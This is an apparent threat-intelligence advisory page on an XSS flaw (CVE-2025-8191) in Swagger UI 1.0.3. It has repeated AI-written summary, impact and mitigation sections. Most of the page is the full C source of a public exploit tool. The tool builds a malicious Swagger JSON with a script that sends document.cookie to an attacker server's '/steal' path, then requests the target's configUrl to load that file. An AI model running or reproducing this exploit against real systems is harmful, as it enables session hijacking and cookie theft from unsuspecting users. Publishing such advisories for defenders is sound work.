Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
AI Analysis
Technical Summary
The security threat pertains to a Cross-Site Scripting (XSS) vulnerability identified in Swagger UI version 1.0.3. Swagger UI is a widely used open-source tool that generates interactive API documentation, allowing developers and users to visualize and interact with API endpoints. The vulnerability allows an attacker to inject malicious scripts into the Swagger UI interface, which can then be executed in the context of a user's browser session. This type of XSS attack typically arises when user-supplied input is not properly sanitized or escaped before being rendered in the web interface. Given that Swagger UI is often deployed in development, testing, and sometimes production environments to expose API documentation, the exploitation of this vulnerability could lead to the execution of arbitrary JavaScript code. This could result in session hijacking, theft of sensitive information, or the execution of unauthorized actions on behalf of the user. The exploit code is available and written in the C programming language, indicating that a proof-of-concept or automated exploit tool exists, which could facilitate exploitation by attackers. However, there is no indication of known exploits in the wild at this time. The absence of patch links suggests that an official fix or update may not yet be available, increasing the urgency for users to apply mitigations or consider upgrading to a newer, unaffected version if possible.
Potential Impact
For European organizations, the impact of this XSS vulnerability in Swagger UI 1.0.3 can be significant, especially for those that expose API documentation internally or externally. Successful exploitation could compromise the confidentiality and integrity of sensitive data accessed through the API documentation interface. Attackers could steal authentication tokens, manipulate API requests, or perform actions on behalf of legitimate users, potentially leading to unauthorized access to backend systems. This risk is heightened in sectors with strict data protection regulations such as GDPR, where data breaches can result in substantial fines and reputational damage. Additionally, organizations in finance, healthcare, and critical infrastructure sectors may face operational disruptions or compliance violations. Since Swagger UI is often integrated into development pipelines, exploitation could also impact software development lifecycle security, leading to the injection of malicious code or manipulation of API definitions.
Mitigation Recommendations
To mitigate this vulnerability, European organizations should first assess their use of Swagger UI 1.0.3 and identify all instances where it is deployed. Immediate steps include restricting access to Swagger UI interfaces to trusted internal networks or authenticated users only, thereby reducing exposure to external attackers. Implementing Content Security Policy (CSP) headers can help limit the execution of unauthorized scripts. Organizations should sanitize and validate all inputs that Swagger UI processes, especially if customized or extended. Monitoring web traffic for suspicious activity related to Swagger UI endpoints is advisable. Since no official patch is currently linked, organizations should consider upgrading to the latest version of Swagger UI where this vulnerability is addressed or applying community-provided patches if available. Additionally, educating developers and DevOps teams about secure API documentation practices and regularly reviewing third-party components for vulnerabilities will help prevent similar issues.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Sweden
Indicators of Compromise
- exploit-code: /* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const char *targetUrl = NULL; const char *cookies = NULL; const char *server = NULL; const char *yourFile = NULL; const char *payloadFile = "xss.json"; int targetPort = 0; int yourPort = 0; int verbose = 0; int useCookies = 0; struct Mem { char *buffer; size_t len; }; void exitAssembly() { __asm__ volatile ( "mov $231, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void createFile(const char *filename, const char *server) { FILE *f = fopen(filename, "w"); if (f == NULL) { printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n"); exitAssembly(); } char payloadBuf[2048]; int lenFile = snprintf( payloadBuf, sizeof(payloadBuf), "{\n" " \"swagger\": \"2.0\",\n" " \"info\": {\n" " \"version\": \"1.0.0\",\n" " \"title\": \"XSS Injection Demo\",\n" " \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n" " },\n" " \"paths\": {}\n" "}", server ); if (lenFile <= 0 || lenFile >= sizeof(payloadBuf)) { printf("\e[1;31m[-] File payload too large!\e[0m\n"); fclose(f); exitAssembly(); } fwrite(payloadBuf, 1, lenFile, f); fclose(f); printf("\e[1;34m[+] File name: %s\e[0m\n", filename); printf("\e[1;34m[+] File created successfully.\e[0m\n"); printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n"); printf("\e[1;34m[+] Payload content :\n%s\e[0m\n", payloadBuf); printf("\e[1;35m====================================================================\e[0m\n"); } void sendRequest(const char *baseUrl, int targetPort, const char *server, const char *payloadFile) { const char *filename = "xss.json"; createFile(filename, server); CURL *curl = curl_easy_init(); CURLcode res; char full[4000]; if (curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); exitAssembly(); } struct Mem server_Rsponse = { NULL, 0 }; server_Rsponse.buffer = NULL ; server_Rsponse.len = 0; if (curl) { if (portSel) { int len1 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len1 < 0 || len1 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1); exitAssembly(); } } if (portServerSel) { int len2 = snprintf(full, sizeof(full), "%s/swagger-ui/index.html?configUrl=%s:%d/%s", baseUrl, server, yourPort, payloadFile); if (len2 < 0 || len2 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2); exitAssembly(); } } if (selectFile) { int len3 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, yourFile); if (len3 < 0 || len3 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3); exitAssembly(); } } else { int len4 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len4 < 0 || len4 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4); exitAssembly(); } } curl_easy_setopt(curl, CURLOPT_URL, full); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &server_Rsponse); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char ref[500]; snprintf(ref , sizeof(ref), "Referer: %s", server); headers = curl_slist_append(headers, ref); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { double timeD; double downloadTime; long httpCode = 0; long size; curl_off_t content_length; curl_off_t connectTime; curl_easy_getinfo(curl, CURLINFO_APPCONNECT_TIME, &connectTime); curl_easy_getinfo(curl, CURLINFO_SIZE_DOWNLOAD_T, &content_length); curl_easy_getinfo(curl, CURLINFO_HEADER_SIZE, &size); printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000, (long)(connectTime % 1000000)); printf("\e[1;36m[+] Size: %.0f\n", connectTime); printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n", size); printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeD); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n", timeD); printf("\e[1;37m[+] Input Url : %s\e[0m\n", baseUrl); if (portSel) { printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort); } if (portServerSel) { printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort); } printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server); printf("\e[1;37m[+] Full Url : %s\e[0m\n", full); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); const char *foundKey[] = { "id=", "path", "host", "alert", "error", }; printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); int numberKey = sizeof(foundKey) /sizeof(foundKey[0]); int notFound = 0; for (int k = 0; k < numberKey; k++) { if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL) { printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]); printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n"); printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } else { if (verbose) { printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]); } notFound = 1; } } if (notFound) { printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n"); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } } } else { printf("\e[1;31m[-] Error Send Request\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n"); exitAssembly(); } } if (server_Rsponse.buffer) { free(server_Rsponse.buffer); server_Rsponse.buffer = NULL; server_Rsponse.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▗ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌▟▖▄▌▟▖ \n" ); printf("\e[1;37m [ Byte Reaper ]\n\e[0m"); printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m"); printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &targetUrl, "Target Url (Base URL)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_STRING('s', "server", &server, "Your Server URL"), OPT_STRING('f', "file", &yourFile, "Name File (Json File Payload)"), OPT_INTEGER('p', "port", &targetPort, "Target Port Server"), OPT_INTEGER('b', "portS", &yourPort, "Enter Your Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetUrl && !server) { printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n"); printf("\e[1;31m[-] Exit Syscall\e[0m\n"); exitAssembly(); } if (cookies) { useCookies = 1; } if (verbose) { verbose = 1; } if (targetPort) { portSel = 1; } if (yourPort) { portServerSel = 1; } if (yourFile) { selectFile = 1; } sendRequest(targetUrl, targetPort, server, selectFile ? yourFile : payloadFile); return 0; }
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
Description
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
AI-Powered Analysis
Technical Analysis
The security threat pertains to a Cross-Site Scripting (XSS) vulnerability identified in Swagger UI version 1.0.3. Swagger UI is a widely used open-source tool that generates interactive API documentation, allowing developers and users to visualize and interact with API endpoints. The vulnerability allows an attacker to inject malicious scripts into the Swagger UI interface, which can then be executed in the context of a user's browser session. This type of XSS attack typically arises when user-supplied input is not properly sanitized or escaped before being rendered in the web interface. Given that Swagger UI is often deployed in development, testing, and sometimes production environments to expose API documentation, the exploitation of this vulnerability could lead to the execution of arbitrary JavaScript code. This could result in session hijacking, theft of sensitive information, or the execution of unauthorized actions on behalf of the user. The exploit code is available and written in the C programming language, indicating that a proof-of-concept or automated exploit tool exists, which could facilitate exploitation by attackers. However, there is no indication of known exploits in the wild at this time. The absence of patch links suggests that an official fix or update may not yet be available, increasing the urgency for users to apply mitigations or consider upgrading to a newer, unaffected version if possible.
Potential Impact
For European organizations, the impact of this XSS vulnerability in Swagger UI 1.0.3 can be significant, especially for those that expose API documentation internally or externally. Successful exploitation could compromise the confidentiality and integrity of sensitive data accessed through the API documentation interface. Attackers could steal authentication tokens, manipulate API requests, or perform actions on behalf of legitimate users, potentially leading to unauthorized access to backend systems. This risk is heightened in sectors with strict data protection regulations such as GDPR, where data breaches can result in substantial fines and reputational damage. Additionally, organizations in finance, healthcare, and critical infrastructure sectors may face operational disruptions or compliance violations. Since Swagger UI is often integrated into development pipelines, exploitation could also impact software development lifecycle security, leading to the injection of malicious code or manipulation of API definitions.
Mitigation Recommendations
To mitigate this vulnerability, European organizations should first assess their use of Swagger UI 1.0.3 and identify all instances where it is deployed. Immediate steps include restricting access to Swagger UI interfaces to trusted internal networks or authenticated users only, thereby reducing exposure to external attackers. Implementing Content Security Policy (CSP) headers can help limit the execution of unauthorized scripts. Organizations should sanitize and validate all inputs that Swagger UI processes, especially if customized or extended. Monitoring web traffic for suspicious activity related to Swagger UI endpoints is advisable. Since no official patch is currently linked, organizations should consider upgrading to the latest version of Swagger UI where this vulnerability is addressed or applying community-provided patches if available. Additionally, educating developers and DevOps teams about secure API documentation practices and regularly reviewing third-party components for vulnerabilities will help prevent similar issues.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52392
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
/* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const
... (14823 more characters)
Threat ID: 68900844ad5a09ad00dd9df7
Added to database: 8/4/2025, 1:09:24 AM
Last enriched: 8/18/2025, 1:16:37 AM
Last updated: 8/18/2025, 1:16:37 AM
Views: 13
Related Threats
Malicious PyPI and npm Packages Discovered Exploiting Dependencies in Supply Chain Attacks
HighResearcher to release exploit for full auth bypass on FortiWeb
HighTop Israeli Cybersecurity Director Arrested in US Child Exploitation Sting
HighEncryptHub abuses Brave Support in new campaign exploiting MSC EvilTwin flaw
MediumU.S. CISA adds N-able N-Central flaws to its Known Exploited Vulnerabilities catalog - Security Affairs
MediumActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.